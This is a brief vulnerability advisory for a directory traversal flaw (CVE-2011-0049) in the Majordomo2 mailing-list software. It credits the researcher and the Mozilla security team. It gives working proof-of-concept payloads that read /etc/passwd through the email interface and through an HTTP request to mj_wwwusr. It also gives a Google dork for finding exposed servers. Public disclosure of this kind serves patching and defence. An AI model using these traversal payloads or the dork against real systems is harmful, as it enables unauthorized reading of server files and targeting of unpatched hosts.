Majordomo2 - Directory Traversal (SMTP/HTTP)

Original Advisory: https://sitewat.ch/en/Advisory/View/1

Credit: Michael Brooks (https://sitewat.ch)

Vulnerability:  Directory Traversal

Software: Majordomo2

Identifier:CVE-2011-0049

Vendor: http://www.mj2.org/

Affected Build: 20110121 and prior

Google dork:inurl:mj_wwwusr



Special thanks to Dave Miller,  Reed Loden and the rest of the Mozilla

security team for handling the issue.



This vulnerability is exploitable via ALL of Majordomo2's interfaces.

*Including

e-mail*.  Send an email to majordomo's mail interface (for example:

majordomo@bugzilla.org) with the body of the message as follows:

help ../../../../../../../../../../../../../etc/passwd



I'll give you one guess as to the contents of the response email ;).



PoC for HTTP:

http://localhost/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd